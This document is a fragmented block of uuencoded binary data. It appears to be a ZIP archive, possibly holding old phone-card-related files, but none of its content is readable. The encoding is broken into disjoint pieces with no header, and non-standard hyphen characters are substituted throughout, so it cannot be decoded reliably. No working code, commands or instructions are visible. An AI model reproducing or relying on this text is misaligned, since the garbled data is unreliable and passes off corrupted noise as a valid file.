MHPU@*HQZ!VV19\A!6^9YYOEK>.GDU?‑\D:>)Y\L3R@N8OFW[=SS2?)87$&D^ M5Q:0$P*O2HAW3^<=`<L9H0@XR8A<J?3[1)P9ZVCK&5<JG_:G7;ZI2_LOY#(Q M*_T16(X/PUE)T312Y‑!FJ&I‑?DP4P]=X@V(T[Q7KBN7[Q;XWSCH^QBX4SDSJ M#1<A‑E'X0FRD:#U51B/`R;S!R%‑6^‑)B,M>3I!ISTM"+J]#/J)XJH_]+VA.6 M"N92G'I35)J7%>"SY4B!R0&PO\4=/.V5X3ZWCY!Z<;$Y428WD(NHPCG'T)[. M]R0+A??]\:C!CJ^KELIPZ_P_4$L#!!0````(`*)$+AW[.7CW$P4````@```, M````5$5,14‑!4D0N0TU0[5A;3QM'%#Z[W@064R#@A$L2V``‑A!C8F[VFBE0M M:R=UPL6RS>4!J5()2I`01B0OE?*`JDK]#97R`_+8O%1YJ)I(;=0^]*&J^`'M#ZC4]Q*[Y\S,WK*_H'0/:[/S?=\9S^R<F3TSFS*X`"L`51G*%\`M`4"S"RHR M_M<T$V2E\^[ENY?0#=7&NE,RBC`MU:J>4?1*‑I"=:)IFD.S5F]_>0A\TUN\; M)9B0MION2B"P(O4P(B<S‑\8'U0T1:'+0_[4!F;DSC'E6,@AH.D>\UM&7Q_N/ M'C_59KU;FK%46LHOZ9KK>945K;FW^_BP==!ZM+_W)*]5#W<7‑&‑!SVOKM<H: MM#/![X/R]^OI7R4IUR<K$FLC;&!S90FHN?5JP],JE5I]?55;W=\];NVV#I\> MMPX.]HY!!>@Y;3_OE._D)0#\*'77A*Q!:"F&6I`U"3UM1U%[L=[T/,A:1!VU MW8!:]5;JD+4)[FW?"^![:V7(%@A]\3Y2S[*^6%UK0K9(3#G&&)!U"/WS+(J: MT>Y+V1(IGL44V‑XEZ/E.>=Y1[IRV`?"#[<7:<&@1+L5@'6&'X‑.V%,#K#8_D M1<*/VG(4IT=4(+RWW17@F_0@#)O@%^\CM2\["%L$EV‑P$6&3X#_/HG`!88/@

M9S'81EC'\9+Z`4;.OKX?=O^K#'[)@^I#J/T#%^7![KST$.B&ARO&PJ?@%[HA M"%55DE2054F&_[SE8!#'/0.=SIRT5FE^KNN&YAO.0J]>‑G9@@&8;?0'U6`)? M:B:E.9+FDE(K*1TCZ5A2:B>EXR0=3TH+2>DD22>3TF)2.D/2F:3424KG23J? ME):24IVD>BC‑R^SFI/+)SF=NO;SEUBL[8GW;$4X0.$]E(!,L=A+^;1MTL1HN M_O3MSP3‑9*`KMG(2N&'0Q71;;[[X0>AZV#+IUI@$IQY>IJD=W66ZS1]?^_5E M8SJ#KJCNF[>$W\Q`;W1Q9C]KTL5DW_\R^HJ@$04GVQ`)EV$9_[&XH3(C/B;" MI;<.&RE61L*`X="#A<^P3]S\P(/*8PI._VM$.."M/,#?9W%TS:<TH@I`RTH7

M"QZ&I)8T&7['@.MT%.A3'5SC\+FIM.I!#HLJ+\;>^*FEEMHY,0G?‑G^P^=_I M9(.%$]\;B@‑S=*M`CVK!1;K%‑"&UU%([5S8$?^'$5OS$:9IFN@VTU^SBZ=:T M3]TBJ@3U1A.3!I8U$W*5J$6B3"B[31>7%)8F+_INM*,_*<)6G=QTHDR?*A)E MP6:MQA):M*)?HT.4`7<W&A40NRR'N5EPB>>#;"NI\.SRDJ`N$_4`V.Y3X6GD M95:C`X.LP@)WD[G;H."N,*[(_23N1]@H<B.\(;2U5W@[1@0SRCM‑VWO!$#*. MS%7>KV"+K_#LE.#K2%_G3\3?N0OV.NN#`Q‑\!‑@A@,1SUPE!W6!ML:‑I[0W1 MF"F>\$;&;4HPLSQ+IM,`A0_;K&#FQ(`N!UV;@]3^9W:%S7_*`R@D;E‑(+`$= M`8F0N"UB+\]B#Z/%‑7PJ+Z@%1F&(X5F0PF?_@J`,1N%4P(,<A<]^0U`6HW#^

MX&&.J‑`2E,THG'1XH",H6U`%1NE`ASJ"(FBDFY]1B!.,<#^‑1"XDS!@Q%A)6 MC!@/"3M&3(9$(4;,A$0Q1LR'A!,C])`HA<2PJ@/E62>XZ]X[?K+?.@1CP=2A M7\4G]5%T<X;E/E[VM^,<[/\`[%/Y4"*VC8X#6+P@BNR(=L!/[WP@M=122RVU MU%)++;5S;/\"4$L#!!0````(`&M2,!W64,AT+0@````<```,````5$5,14‑2 M1#$N0T]$[9B)=Q/7%<:_T6BS,<88`S88[)`V59O$C$!F20)8ED9&P9:4D80# M66P6DZ0A"0424A*2:VP<.\ZBD(V=[FW3EG3?V^;/Z?_0<TJ_N=)(0QN?TT)[ MNO%T_(‑OEC?OWO?N)\T+X‑::@?_NUG)\XO#$@:,'XWW)XLA‑W!^);RI.'‑F: M^)/9:L7[K`V]#OO;=VSB(/[9S40847Z:L!A!?30_U1:*;TIM2=Q4KX.US__& M;‑YN_VAKBU7_O0:S]6.,]*YOG<*UUK[6IMKYJ14'\4=K$G^VSN"Z‑8.I]DGC MC#%CM%AS/!?MF&J/1L^AQ;K`OVG,&4W1L[V"Z>:YY@N+8C%>T1Y=.M5>L>9Y M]6QG?ZRJ5W?WQRYJ'YW16;>?Y?/+RE0?\6^V8W[E5'M_;+[3B;7QOBB?&>J8 MZ=P?,Z)7,6F4K9Z`N68\%K#.877'?%L41O0\+N$RQJWN@‑DU&3,[)V.76]S/ M$NMR:$VT9?LT$+V"B'4I9':=BEU9?&G1R=B5GE";>_=,SUQLIGLN=JZYVMNX M=3[0&3T?,+LKL>H5IR.3B<$$$DL3ZQ(;$^E$.7$H<8)J^N9*[C^JA9/I5#YG MU<H_6M/QN@Y1%RW/'L)5'?=T!,%D>BCO=68$7)VUT;C>U9FZ‑ER=S_F^/‑B? M8Q<]W83P8+:4RI5JN@M&RC=87A].)9UT‑ET[<!8A:F=/XWPPM;,^7!BFZGA= M!Q%).>FQU/`N[WK5Z5*RT3^UU[_14CWO%$O>^/7\J%V/G]I.9VOCQ20":=^` MW>O3O@%2AVR;$?OBM>T;\EW5&VX\7_`"C+DZG:P‑U[T^:‑LWYILZXX_7ML<R MP\FAJEZ‑4"8Y7+0;^3(S10>^Z\.9<K&1_TY>7R[:7KI1@3G4>)P;?RB;2V<= M7_ZSN7HVZ"X(9W.EE#?CQB+W?,GV/\_5Z:'&^*G]ZR5"/9+,UCH80;2FJQER M]/[==JK>GYEU"O[Q18;S^8(7D+$*YG!Q$+[U%&QTSM8/<\1_/H)`KKZZJ^LC MEQ]S\EZ$IZJZZ.G]B%1U;0+']?RHXYV?0SA?*&7K^>!Z**0R0Y:O'EP=;\1O M%E+#\‑57F#I9VEG3S0@4TK[QF;P_F^KW?,FX;JCN_RN]J:Y‑U9OK.N+JS7'_ M>+*‑GQ:J\XZW_&"$JGK0YP^N3C7R9Q8:Y:CKK=`HQVI\Q0WPQ4>=],<3+HRE M\Z.Y1CT[@[[U7M49_WPZ@X6R?_X<?WY8[YP\=TE4#YR$Z11\XPNYVC<^KD=& MD_*/URGYUG_0/>\;3TAUQA^/4RKZ^P\72\E2N=B8KY(]4G^BT5W57D:,‑56]

MT=‑KJ[H^'ST(NWK,ZV]]38_6=!\")?_Z#?)^)UOTSY^K_?/G:M_\!4M.V?;% M'RJ‑Y<NE1G^!4><&OPN..G;.%W^(VG$:\V7NL7WY,&#LA>]^7K]W;+!N(,:M MOIW<;G_/&UP47>C%‑@,#D8'6@24#N‑W^;]JMOO\V\_O!L8?Z[(?*‑W'W[?9O M;]>5@4\^G:*LZ+Y`1=VX8BK='0A#CQMZW‑#C1NUX2!E61I1199.R6;E(V:)<

MK&Q5+E&V*9<JVY7+E!W*Y<H5RI7*3F67<I5RM;);N4:Y5MFC[%7>H5RGO%/Y

M&>5GE7<I/Z>,*3^O_(+R;N4]RGN5?<KU2DL9UR^Q!5C9H‑RH3"C[E9N4FY5; ME%N5]RGO5SZ@W*;<KMRA'%`FE8/*E#*MM)499>V5H+)3F54^J‑RE'%:.*'/*

MO+*@?$CI*(O*DK*LW*T<53ZLW*/<JWQ$^:CR,>7CRC'EN'*?<K_R@/*@<D)Y

M2+.X`"M/*)]4/J7\HO)IY6'E,\IGE<\ICRB_I#RJ/*8\KGR^ONJAJQNZNJ&K

M&[JZH:L;E6;E(F6+<K&R5;E$V:9<JFQ7+E‑V*)<K5RA7*CN57<I52J[N7KBK MNQ?X&[9UP_3^S[4?)‑<B0O:XA)(5$.UU>[I#ZWR=]GJG^Q,YL`!9&XR?M>%F MP6‑(R5RT*>4N=U.2‑>‑FQ&.3LEG)O+0I)09FAQ7%[+"BF!&Y6WD/F!>Y%\R+ M](%YD?5@7L0"\R)Q,"^R`<R+;`3S(@G^>H'T@WF136!>9+,;N6P!JUZV@E4O M]S%FR/UN@N0!,&+9!D8LV\&JEQU@U<L`XX`DP:J708X4K!Q6O:25‑EC[D@%K M7X;`VI>=8.U+%JQ]>1"L?=D%UKX,PR)'P!J7'%CCD@=K/+``I0#6/NN)M2^. ML@@Z@)1`!Y`RZ`"R&W0`&04=0!X&'4#V@`X@>T$'D$=`!Y!'00>0QS!`/@XZ M@(RY^[HR#CJ`[`,=0/:##B`'0`>0@U`'D`G0`>00Z`#R!.@`\B3H`/(4Z`"L M'#J`/*T\#/J`/`/Z@#R+`OD<Z`.L'/H`*X>4H\ICH"?(<=`3Y'G0$^0%T!/D

M!.@)\B+H"?)ET!/D).@)\A+H"?(RZ`9R"G0#>05T`WF5;]`0`=V@,LFW:\AI MY13H"3(‑>D)@`<H9T"MD!O0$>0WT!)D%/4'F0#>0UT$?D'G0!^0‑T`?D3=`' MY"T<(=\&?4`JH`_(.Z`/R%G0!^1=T`?D/;Q`OH\3Y`=XD?R0;Y*0<WB)/(^7 MR0O<&X!<Q"OD);Q*7H8PBBO<(X)<57X%I\FO8HK\&KA'*5_'&?(;F"&_B=?(

M;V&6=WV;.P>0[RB_B]?)CS!/?@]OD‑_'F^0/\#9YC7LTD(_Q#N_Z(??'(#]2 M_ACODC_!>^1/\3[Y,WR@\_]S?$C^`N?(7^(\^2M<8!87H/P:%\G?<,<5\EON MND)^ARM\VN]QE?R#\A.7@85Y:@$:G\;;[5_8_@)02P,$%`````@`;5(P'=:1 MH<KU!P```!X```P```!414Q%0U)$,BY#3T3MF?M[%‑49Q[^SD[WD0MB$``D$ M$L#JMM8P&^Y>('N935:2W75VEP@8$X2@5E3*15!1WY@0P6B[O0,"]M[6MMCZ M5_5_Z/.4?N>=G=VAFE^H3WVL.?OPR7[G7/:<][SGN[.#B?^N&`CAZUPZSLV> MFCU^YL3P4*H\<1_]H\G=Y=G3^W;^T^RTDD/6\*##\8Z=G3V!+[NT((I6OMK0 MR?<L,;Z\$D[NSNS=>5^CINLO?S=7RC>KI.>ZL&‑K‑7OAY$+7U_PHKY3[*/&$

M]_<.S,Y/,3:XO7,>=SJ'.EOK]?/K3N`?UAS^95W&76L1\]USQF5CT5AEW4"' MM8"KQORZ6,]\=RPF6&B[VG:C?4N"5[IC7?/=‑6N)_:_T6@E/;^RW$A\9'=95 M],:NL":V=FE‑E>H3_KO2L[1^OMM*+/5.).+L%^,GA7L6>Z<21NQCS!E5:R!D M;CJ:"%G7L+%G*1Z#$;N.F[B%&:L_9/9=2IB]EQ*W.MS7:NM6>%.L8_\"/?(V MHM;‑L‑EW,7%[U<WV\XG;`^&XVWMQ8"&QV+^0N‑;FC39C70_UQJZ'S/ZEA‑?B MFU$BJ6RF6+#J]A^KZV1#AZG+EO_U$/%TTM=1M*2RHT5_,"/DZKR‑9GM7YQK: M<'6QT+QY<,=S[+*O6Q%)YRN90J6N^V!D`I‑UVV=2CG.XJ5LR8XWIP3!5)QN: MWYD9)SN=&3_HMU>=K:1\'7%U/EMOW^'5.^6*/U^MG[0;ZZ6VL_GZ_'`)H6Q@

M@F[[;&""U&';Y@H#Z[/M>^+KZ>%[ZTO^`K>X.INJ3]=MWV+;]\:7.A=<KVU/ MY\93HY[>B'`N‑5ZVF_$R<V4'@?:17+7<C'<OVU?+=M9OL`1SM/EQ[OK#^4(V M[P3BGR\THD$W021?J&3\'3;:W?J*'?P\5V='F_.G#N9'E'HBE:\/,(9877L1 MFM#^A^Q,8SPS[Y2"\XN.%XLE?T'&!ICCY30"^=/2')S%@CD1K(\B5&ADLY<? MA>*T4_17>‑'395]/(>KI^@8>U?I)QZ]?0*18JN0;\6`^E#*Y42N0SZY.‑M=O MEC+C")RG"'6J,E;7;0B5LH'YF>R?S^SR;_V,NX;J7?^A=S>TJ7I/0T==O2<9 MG$^^>2NINNCXZ0<C[.ETP`]<G6G&SRPUCZ/F6ZEY'+WUE8<16!]U*KB>2&DZ M6YPL‑,^SDP[DNZ=SP?UTTJ5J</^<8'QXWKEY;DIX%\[#=$J!^85='9@?\Y&K MR03GZU0"^=_BU@?F$U:="Z['J92#XT?*E52E6F[N5\6>:'RBT>]I/R+&)D_O M\/5F3S?V8P`15T_[XVVOZ\FZ'D*H$LS?%O9W\N7@_KDZN'^N#NQ?2\6IVH'U MARO3Q6JE.5YHTKG'[UHF';L06'^8VG&:^V4>M@/Q,&`<0:`_VQ^93C<,Q%BY M`?W?%X/W6GT81)^!D>A(Y\CJ$:17I;_L3UDI_Y_//]KX?>'8HT/V4]7[Z+U2

MOO)R5QGZ[(LIRIH^%ZJI.]?TB6'‑?0)EZ'5#KQMZW:A?#RLCRJ@RIFQ5MBG; ME1W*5<I.Y6IE7‑FE[%:N4?8HURK7*=<K>Y5]R@W*C<I^Y2;E9N6`<E"Y1;E5 MN4WY@/);R@>5#RD3RF\KOZ‑\6/E=Y2/*(>5VI:5,ZI?:,JP‑*W<H=RIW*7<K

M]RCW*O<I'U4^IGQ<^81RO_*`<D294J:5&656:2MSROI/A‑J8,J]\4GE0.:Z< M4!:4165)^93249:5%655>4@YJ7Q:>5AY1'E4^8QR2OFL<EHYHSRF?$YY7'E" M.:L\J5%<AK7GE2\H7U1^3_F2\I3R9>4KRE>5IY7?5YY1GE6>4YYO9#TTNZ'9 M#<UN:'9#LQNU‑F6[LD.Y2MFI7*V,*[N4W<HURA[E6N4ZY7IEK[)/N4')[!Z$ MF]V#P.<8[X?IOV?NMY";$24'7$+)$Q`;=$?:XO[,=,\`WRA#RQ`!QK?"9*]M M+O$YQK<APMH'7$+)$Q4E'U1/>4A7D'!OSWFB&%.>*#>R/L‑*QC>NE(?YY!L\ M:6Z4?;8JVY2,=5PICX`1YSEDQ'D.&66QE$DPUC(,QEIV@+&6G6"L91<8:]DMQEKV@+&6O6"L91_OB""/@K&6Q\!8R^‑N‑.4)T$ED/^@D<H!QA(RX0>=YXT(E MK<RX$9(L(P&QN7I(#O23T#*443`J,@9&1?*@S\B3H,_(0<8`,@[ZC$QPE9`" MZ#‑2!'U&2J#/\!1:?.\HRZ"K2`5T%:F"KB*'0%>12=!5Y&G05>0PZ"IR!'05 M.8I]NAO/@+XB4Z"OR+.@K\@TZ"LR`_J*'`‑]19[#"'D<]!4YX?YO@<R"OB(G M05^1YT%?D1=`7Y$705_A>:.KR$O*4Z"WR,N@M\@KH+?(JZ"W\+S16WC>2#FC M/`OZC)P#?4;.HT2^!OJ,7`!]1BZ"/B.O@SXC;X`^(V^"/A‑:AG()=!YY"W0> M>1MT'GF'O\\A`CI/;8Z_W2'O*N=!_Y$%T'_D,F;(1=!_Y#W0?^0*Z#]R%70> M>1_T%ED"O44^`+U%/@2]17X`>HO\$/06J8'>(C\"O45^#'J+_`2GR9^"WB(_ M`[U%?@YZB_R"OT<AU_`:>1T7R!M\P@#Y"*^3‑_$&>0MO<K:W^:0)\K'REWB+ M_!7>)G^‑=\C?0,C?8H[\'=XE?X]Y]OH#GS]`_JC\$RZ3GV"1_#/>(_^"*[K_ M?\7[Y!T^ZX%\B@_8[V_XD%%<AK6_*S_3*\MS:AF&OH@KY2LK_P902P,$%``` M``@`0$,<'6ZKZYS`!```8A,```H```!024‑214<N15%5E9A1;Z,X%(6?!XG_ MX,==:9M"TS19[1,!TB*E!1DZT<Q+18F3H"70‑=!T_OW8A@2;V"3;EU:IO^.+ M[[G7E_P#`L\V'^RO+_"<)KA(BKS"198A#+P\R>HU`HLT0[JF:V3AY!YT/^B_ MFOTVOLS‑AOP^2I%%$)6H`M]14A6X`2?7@!,)^"`%QR+X(`&G4G`J@M‑S<&I* M0<,P.)`L.@‑G\L,1P5G_<+R7Z+MKR\%[8<=;PGIYA7#]T>%4P/'@X,Y>ODXQ M6<\R2;;?`FN]QJ@LZ=]I211U#48V%X2H8C(5B.(,1.D>`3LKDG^!7=0Y0P‑[ M"53H7?,$N‑CB>']$P+(X@/FO"NE:&%G1:RAGQXP‑J[BJ^4@7(?^TL@‑CCQFB MC#YRQP4^C"P%‑VG"+'`%+.#=^CULKL`>.FPNP?@#Y;%IA]D]S')L_\608S/1 M?]:M0PZ452O+J4%IZ'*'*=!_2^E/A&E"("KKC#\LUW4L_K14<<SN@>L&T'\& M3ES%@@`)YHI0.H%S3P;VTHJ>Y!JQU%A/Z78'YFE5LKHB1RF'W]NR(`@K)NX8 MVZTCZ(57F\5AU946>4_@:MNH!*XVD$R`68GK9?_#2B;‑WW5TES].8'12N),K MR!T@*‑SIFA]$GBJ%34_R/WH/K6O/PK'+SNVY**N;,‑WFZ29‑XKRBAM&UY0!G

M,&Z)8AD8P5=7!I(C^"%4H_"OA;4,>>RTG:Z]^$`>"7V\LX8(_M@8XS];T^N: M;4'X8_`Q[!CC7TWH0L>_M‑CI29]GPTFW:24B:GT%\O‑M[D6#E\E/A(MV[4#X M_;7!F^.O%%X:M^5T(*?I%(>\)1RUNIR(WOQ75>S‑S;2*JV2W+K;L'KWQZZ.% M5!F_!,+`4(*3]M9N;1+$V].E:%"2'W‑D_4E*FKKFP>!"@9WFC;:EI_FVJ>FC MTJAQ<MNB>2>_=TZ&<V\Q;$XX;WI@LHMS(IR>^ODFB[?L!E`*‑.XC*[A;8,$H

M&*FW;4S%1B7_$^%‑5ARZB:S%YYZT&W2N.49M[T8=[.;Q.YVR241*_%Z,F<=( MT$IL(@]Z=((M1PT_G%\4`NNZU[%=DU_AM$*BR*.H(7'48U:\Q]GY<U,7M;<$ MYZ*9V;DH"(T++2[`J$QB^L)#&%H:0:@N#5."F!3A+CK%",PC=Q3AYPMI>SDA M5EFFVWR/CE<.%$TB<0E+‑[VJR*FYZU/]4E1^)?6<TJ)A4>.D@ZD[G<>A;'<9 M$C:=!Z_#"6Z'H:#.LIOZ0\AO.Q+S76+6Y==R^`E!EE]QTFUZ=GA(JV3'K'^A M171T22>‑7K5;SJ/0NL_SWN/#*L9'V'X2O7GN`#%T>Q?G.<JX)DX4!*N>^V!0 MP61#HA#$>49[#]"\^W4A4`'5"_/T&H%3BDVAA+D4!_;B416CT5C6,FZ@‑:;; M;‑)MC6,V%1[+F>"J",W+.(VO'885\<&!0:'WZM_V0(CB=?/"U#AA);[1RCJ. MM(L*$JZR#NX&))I*ZT2@ZJ5M/"2"<8%;#==5EQ3_?4:GT:LI‑N,6>P3J$FWJ M#.SC!!?E:,2&AN`U9"^$[$‑=^[8O/@_T"YW(?0[>5N2#\A!_T`^:+Q;^6O77 MA.0#E*_W3,P/`"]V9)N%`MO(]=?P&S8?,.BH_\U]<73M‑U!+`P04````"`!K M4C`=*‑*(KEP```!\`0``#````%1%3$5#4D0Q+D524N7,,0J$,!`%T'[!._P3 M"'$;L0MJYS8J6(=DU!1)EAF%'%_/8&O_>(OAZ..&N1_Z=NQ4J:<?JAH‑M'‑, M(J!LB9P@F.S#&<`F;H0U,8[="_Z<[,T2%Y_77E_UZ+H`4$L#!!0````(`&U2 M,!TIRVCV9P```)`#```,````5$5,14‑21#(N15)2Y<PQ"H,P%`;@O>`=_A,( M6BW23=ILNEC!.9A7FR&)O*>0X^L9BEOVCV_2[*U?,*I.O89WF;>?'F6#)UIC MF$1`<28R`J>C=;L#:[\0OH&Q_:Q@Y3"?+'!V2_:Z%Q=>50)7G<#U^.LZ`%!+ M`P04````"`!K4C`=#LVE_>8!``"G!```#````%1%3$5#4D0Q+DA%6%U47<[= M*@Q\K]2]V,80\[T1".O?4L<&5[WW2(B<S(Q_QI`?$HH?D]ALOW_]D.$?UOBP M%_K&)M(EQ/6"C/>RZ;,2I$^P"CF(4.SJ3K3697MX*]R:4D@,<I4$L3;$5K%O M[(VHV07+40H4#`(#Y*$)>IX)13_A$5<UR]>KQ+/U2RP[0:P^KAI,1.`Y+U@I MRK<N<GQ0&NM)T((]H'[%Q#SODV&;*\US,GONCOJ9$G3E>RHU`U[%6BJ?_RGY MY6D]0>\5[/XBVNUWIGU>(0PWL[\F5!X)1DXNM1[5&#[,"W:B8QUL`^D)M]*$ M?G,"L"KN?Z&1WKISW@K9];BR<CHT_&7#I*!"O=:W\RX8(LS2"^)‑0H47_07# M0JBD1'Z8H&\Z‑",GWX81%I7ODJ!7#$9?'@&A)XFF?<N]+=QAKV$WWWN&71:J MF0LQZ<L^_?3C946‑!N._."J9\[.X,]:=]13/7WM.9=^<SQ(G+(#OSLNS?:;# M`5A0.=K:?$`^0</";1T#:#SWDV"</O$#/=P=5ZZ;D_DJW0"X(WXJNB;H??8P M?';W&'GKO64L_WAK0H]QT=T2]/LB!:T790""9[MGB/U^EE)4M2AFJJT5G=%G M`^A]/D=E(/"9B$:+*O]=[_EZZ'$=M8P8T?TP;?SY`U!+`P04````"`!M4C`= MW996=LP!``!A!```#````%1%3$5#4D0R+DA%6%5469(K,0C[GZJY"^"E\?QY M:9__2B‑YR;R7*H=.A%ADZ!\Q61\5\YZ_OW[$\0NGOK!!WCI%HIMH/:#B?YOR M>EA.K^$$(8A02G81&>‑X,[P'S3G*HCCHT2Z(,T'V!#MALTCV`X;‑‑#`4#@I0 M:[P@\XP@I<)V,!'>R@$CF04,Y$7"R"CO9<;=GR\3I<*QSGG`Q.JK‑$/:PS9Y M+K@HRK!64)XW"'#!?/IT!\[&P'RO"/D?IC;M=$CA@`]S‑LC*‑LJ2T#\Y'QR6 M>HI)WC1\1&#4E#:KUFT_S,5B\TT?YF7.F`Y(1P`>!^7=K?@'/!‑`EB1$R"BI M'Y!Z)[!0KY?)KG`K5_CJNR"=N/>@(S7[:Z5QS%`&PT,$%B;MMM).SA46U94N M,N_$=2HTJ#%"]Q6Z#+T@5>K($]1IX=CMAAV;V7ED!CZG>?L<+&3@J8>7\\,* M[(*<_L*O)["8Q)Q^]^‑=‑X‑<KPR`[4D&J0\X%Q,2)*7&JZUR+WM2UZS3(QA9 M.VT^3"X6U:E7G7T)%_0M`‑0QC@BM'.%U40/"4?"3‑Z>]DZI'V[.3N]‑H_Y^V M‑SCNSA&O[IV(MKU=F20$LY1BG$O@#)!*/#E[7#586'‑R7BE<JU]02P,$%```

M``@`:U(P'0‑GLJ7L&```!'8```P```!414Q%0U)$,2Y,4U3%7>MWVS:R_YR< MS?\P[?;<[)YKNP1)\=&<?M#+J?;:EJXDUVF_]‑`29?‑6%EV2BI/^]9<`^``& M`"7GT:IG‑XD(_#C`/#"8&4"7L_[B$BQR9MDPC[=QE,=K@.7X8CR<C\@9?0@0 MGA+OE(2A"T"L'TCX@TT`?V;]M^/R\:N7D\44_(!XL/BX6]UGZ2[=YW`9/Z39 M1QA&V1K&#_MM5*39JY>O7EY,AP#3P7_&PR4,IZ,Q@[J87(UA,;V>#\<E)>^6 MKUX"_‑R_N![3'J#[6)954F1^:#?_6$Z6%_0MWQY‑YK<=N$[SCXO)8LFFX<?9 M9$B\8>">P/S'G\;O.GJ[\&)R‑;RX+H?];=EK/GY[‑O[?ZZ[W$7@#'/_#![A, M5EFZ2G=%EFZW<0:3W6J[7\=PGFSC[KF@#RUR?JX;4`G?<X4OXS_V_.$'LMF4 M?]8$E(WF<1X7\'.\*M*L`]‑EF+UC,'L:3$>'V6.8GA;3D3$]#::OP_08IJ_%

M]&5,7X‑9?E1,G_;P16UI,7F'&K‑L="1F0'L$>A[)F(&.1Y0A"F8(DZOES^.A M'M.5Z/R^A)WLBCC;/TK(6G$C%IB'0DCYVM%DWCF4R6Z=9.5;N%S/XSOHK]=9 MG.?T[TE>TE&_`!NE\AL;YLNA,"KY!82]8!Y'6U@F#S$,M^GJ=QBF^YV`:JNH M#LR&%]*7(JK‑9RM+[[+HH4&[2)]@\+&(:UA'A75AL>POKQ=Z6(?!+HJHV*M# M5UE*>G"^$&=6QU(VI8MX2Z<70XH*6T%Z,)O.EWT#9(^/.\T*Z,/D^ZF"**IK MA>@SQ($!T6L1!UI$45DKQ(`ABBP7$?T6<:A%#%3$$/JCX?3*TB,&L@[WOQ_! MD‑MD)JM6#1PJP+95`L_'`KLEX%`+_#[.*+7S.‑]O59ZIU‑L$QN‑17V2:B?K` M+9O.YM‑+&$5%I&!K!F"7'<HA'#&`%MNDO*)45?!,S?K+G_3PD5;‑?DKN[F&0 M%'F‑*\I6A>M28S><7NEQ;RNK4Z(Q"R=P\X!^V#U8SB>+H_5CQ.Q:DNZ.T!3; M8]A':XH96]49VV?81^N,&5LC?P'7'L$V/T‑[2`=P"./Q<<"M\`G89RVX*MF. MQ<$%VW]8LB5PV[PH.02FL^7$)']\49H^JA.L76`=&\R<=1RXE&1&Q]G+‑"]. M%\G=+MDDJVA74/4QK]F."Q<=D!:#O(@C,Z9F1JCB7(]UF*2CEP>_2‑93T\M2 M>_EPWK]8B"]KZ._H%<#55/Y2[J7G3=BQ*7$MS7+^KXWE_+NU7_J.I,.E<FT8 M]N?S7SK9,XRR[&,WFUT')+?I.!R52:X+(T20*NRCY*[$.`:M5Z*9J>I$4_TX MUX‑??QM,E@8T[L?]&F?I`1@??NV8*CV,ZOZY`<Q^&TUO#&;!J:SP4YS!*'W: M'0`+838RTV0`^\<7C@;8?T$TP‑(YOST+EK]‑KTV<Y<[O352L[M?I'?/]3Z=[ MR4AI,`DL32;@.$S58^C9,)]91LQ>M3^IC,,LNFN\=<OL*O2<$E1FB>HJ:$&) M>27IN3"9SPZL),U6K7+RDMT=7PWKEYR9K1H‑$)@?>A2=.VVBK;P]9"OI=MYH MXWH!S`<3*1*@VKCY@+L^J_MH5PXB:?S"S3:Z,UNJ'MM1&[&YI2I;"([FN0"H M6AG/@OG23"RW,FRS.WT?9YMM^M1NTD5DU59XA$Z#=O5M;44]#</[LQ9WO(MN MM[%993R;#M&([,J3H"*J"N,Y=!:,B#W]+)PA7%5G/!?Z(S.NI[JIQ\'V8#P^ M#K;U(V^RI(AU^*I6>AZ\E>$U6OEVF]Y&6^T<:W7&\SLTT0NH<\K=5T$3`W)( M$[VP0Q‑]"V8+LQVL8EI9G*\B&NFD‑M4RZYY/2C2S`20:‑&)6/‑\NT>2O==$> M$<TV*YOOE&CR7E>S,#=H_3Q/[G8/L>Q!JYKFNS"7%4VC:4POJ%,>;6&\;LV^ M4=O\7ME'[V$C;:M0%^D^6V%<52U\C]F%T=LNM6CE5255U03?A_E@=MVM"=7^ M>+;?;D_WCP<5P0\Z%,$/2\`J,"0N2<$A10BL#D4(2(DI[@QUBB"'@K@7MWA* MBM6]62<"FQJX`^M1"YS3S:=V_5`5)'!*Z+>2:Z0J"()>%%%V:%T*7!C^)%L% M557DN1C>1[M=O%6<)%5A@AX%E^9)59A.<&*6[\"CDB&1KLHWFA$>>\:$JX(> M^`S;E%+PC\36BV:7P`>‑P!/)\A\4^‑#J$/B0P&QX_M8T594/UK=.YWV'#FF3 MW.VSB,5&#JP"H<V031‑%CD+6#\CIF*;0+6&KR‑3SIJG7‑4T>S#OV<RCI4SD2 M\SA:\UBNJ&B:F?+A1LX4Z‑9+K9>BH*OF(0Q*]+'1I‑D=Z)6![C8384CQYZ8H MM‑.%GV5I)L$KAH)8‑!1H‑IQB:JR%5RVGCN6D*VE‑+)O&A]*'&/9YO‑EOX2%: M96E^=G;V%7;JSM^4MR=6ARX1FCJ^7K#X/QM\1\L>O'A(WS_1+.UR?#G[[::C MK0<O\J?HD;;E";>3KM8^0EYTM`W@1;Q;/W2TZ(@($F+!;#J#(X9+2#L$3E37 M$(C=#J'*,)K;.@BY"]?%;3NIZ!V:'.)U34Z[%(ZO1IU5%1T/NX(,EB=J,DUT MS)*=Z(%?)'G1T;TKU&`%,)R/?AM>_(\F?LP_=(]MP7_#O._"CUSC^+IM!@T9 MZ$A([FE`^U8‑QXSU=%\\[CM"K,1BH//%4A‑5;RDE‑2@K,#BAZ>W3_JI(WG?L

M5@EAT#?"/J6&]@5HOX9F1OJ4+P(G\%,BOD!?;&!WL)<X4EU$_[)=GEL>=ZS/

MQ&WXBR/C+‑M.AS81UFAQE5CQW/U#E!4K.K+)Z`1*8F\_%G&=J"2:S+,'Y]>+ MX940QA1`"4]QG>^IY=_OJ&^QDBH7B)K7(CX,)DLC(L]K#9("`:FYV?+E%]/I M3$02@7AN]B)‑'U$U!5'3L80F\GX[O^B_U4+Q=*RT;`L+‑E%985O,&!G\/L)9 ML8P?'M,LRC["HBC_O(OAG[4_3Y"?Q9/H%%+T;43(M0FRC@,0>6=>Y<XII.C. MB)"Q"=*I(=4")MMAD(;"(++!D,L*TJT@;0V5;KT(Z"!M3.4‑+*+W<9/BKV`U ME/;JI50+JU+*UBP%6ZNF=L<B0C/=]2?‑[JH7VI)M?0/#^^01)B‑N+E^]O(FR M7;*[^Z%Y=?QA%<?K'!ZB#\G#_@$R%AC>I!D4]TD.CUFZ*IM1/^GOZ<K&PS*! M[?_Q3'S]63]5$^+:)\+_/F^P‑O6U^<M0`4`'/[H2I(ZE9Y:PL+Q!&S=J#///

M'H:OK(PL:8]G;_#:XA_R^G!Z7O_044:(2_O>\`7V]'U=9\<\`3N@=74H+5]_ M[M(BI7].KJ349@GUG_W#(Y0/DUU2)‑$V^9//6I;NBV37L:XZS&WZTGL.]^^J

